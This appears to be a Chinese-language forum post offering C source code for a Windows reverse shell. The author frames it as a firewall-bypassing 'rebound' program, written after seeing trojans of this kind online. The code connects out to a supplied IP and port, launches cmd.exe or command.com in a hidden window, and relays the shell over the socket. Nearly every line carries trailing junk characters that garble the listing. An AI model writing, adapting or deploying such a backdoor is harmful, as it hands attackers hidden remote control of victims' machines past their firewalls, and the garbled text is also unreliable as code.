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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 -al\* XDz  
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/* ============================== r=6N ZoZ  
Rebound port in Windows NT elJ?g &"  
By wind,2006/7 H!'Ek[s+  
===============================*/ ycq+C8J+Ep  
#include n(uzqd  
#include 4Jn+Ot.,d  
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#pragma comment(lib,"wsock32.lib") 35Ro8 5j  
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void OutputShell(); \LG0   
SOCKET sClient; IA%|OVAfF  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~ =GwNo_  
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void main(int argc,char **argv) dNu?O>=  
{ joz0D!-"#  
WSADATA stWsaData; ^F)t>K$0m  
int nRet; =jEVHIYt  
SOCKADDR_IN stSaiClient,stSaiServer; ^[x6p}$  
KvjsibI/Y  
if(argc != 3) d`gKF  
{ aD^jlt  
printf("Useage:\n\rRebound DestIP DestPort\n"); w#v-h3XcF  
return; }j$tFFVi~  
} ZH)Jq^^RI  
^HhV ?Iqg  
WSAStartup(MAKEWORD(2,2),&stWsaData); lvAKL>qX  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %W}YtDf\  
&w!(.uDO  
stSaiClient.sin_family = AF_INET; 8]K+,0m6  
stSaiClient.sin_port = htons(0); u>ZH-nw O  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); FMX ^k  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 23d*;ri5  
{ redMlHM  
printf("Bind Socket Failed!\n"); jl>jy6T  
return; 0fGt7 "Q  
} s%QCdU ]  
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stSaiServer.sin_family = AF_INET; E4$y|Ni"  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2= Y8$-  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); w=_q<1a  
}y1r yeW<  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) .[r1Qz7G  
{ 2T?8{yO7  
printf("Connect Error!"); c(b2f-0!4  
return; l(Ya,/4  
} s !IvUc7'  
OutputShell(); 8e5imei  
} W(}2R>$  
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void OutputShell() -x{@D{Q%  
{ ,. zHG  
char szBuff[1024]; I`77[  
SECURITY_ATTRIBUTES stSecurityAttributes; @;G%7&ps  
OSVERSIONINFO stOsversionInfo; - lqD  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; oI5^.Dr FW  
STARTUPINFO stStartupInfo; 5g%D0_e5  
char *szShell; ;m=k FZ?  
PROCESS_INFORMATION stProcessInformation; e45)t}'  
unsigned long lBytesRead; 0.S7uH%"  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }uwZS=pw  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); C|V5@O?;&  
stSecurityAttributes.lpSecurityDescriptor = 0; g"~`\ xhx  
stSecurityAttributes.bInheritHandle = TRUE; EQe$~}[  
Sd F+b+P]  
J%]5C}v \  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1#3eY? Nb  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); K]1| #`n  
n&!q9CR`  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~Ede5Vg!!2  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #@' B\!<@=  
stStartupInfo.wShowWindow = SW_HIDE; JXjH}C  
stStartupInfo.hStdInput = hReadPipe; T/0cPn0>  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; U ;A,W$<9  
O=eU38n:5u  
GetVersionEx(&stOsversionInfo); Kum" }ux  
^M1jv(  
switch(stOsversionInfo.dwPlatformId) Uw]o9 e0S  
{ t7yvd7  
case 1: Py?e+[cN  
szShell = "command.com"; i=R%MH+  
break; K8/jfm  
default: E9b>wP  
szShell = "cmd.exe"; Y(] W+k<  
break; #)#J`s1R  
} X(O:y^sX}  
.}GOHW)}  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ]4/C19Fe!  
IB$i ^  
send(sClient,szMsg,77,0); 7^V`B^Vu  
while(1) ^;K"Y'f$  
{ aeVd.`lxM  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^I9U<iNIL  
if(lBytesRead) 62kA(F 0e,  
{ JC`;hY  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /eT9W[a  
send(sClient,szBuff,lBytesRead,0); ^?_MIS`4N  
} l*(L"]  
else BUdO:fr  
{ } @ [!%hE  
lBytesRead=recv(sClient,szBuff,1024,0); AQtOTT$  
if(lBytesRead<=0) break; KzX)6 |g{"  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); i03=Af3  
} mq}UUk@  
} uP$i2Cy  
h+7U'+|%A  
return; j >`FZKxp  
}
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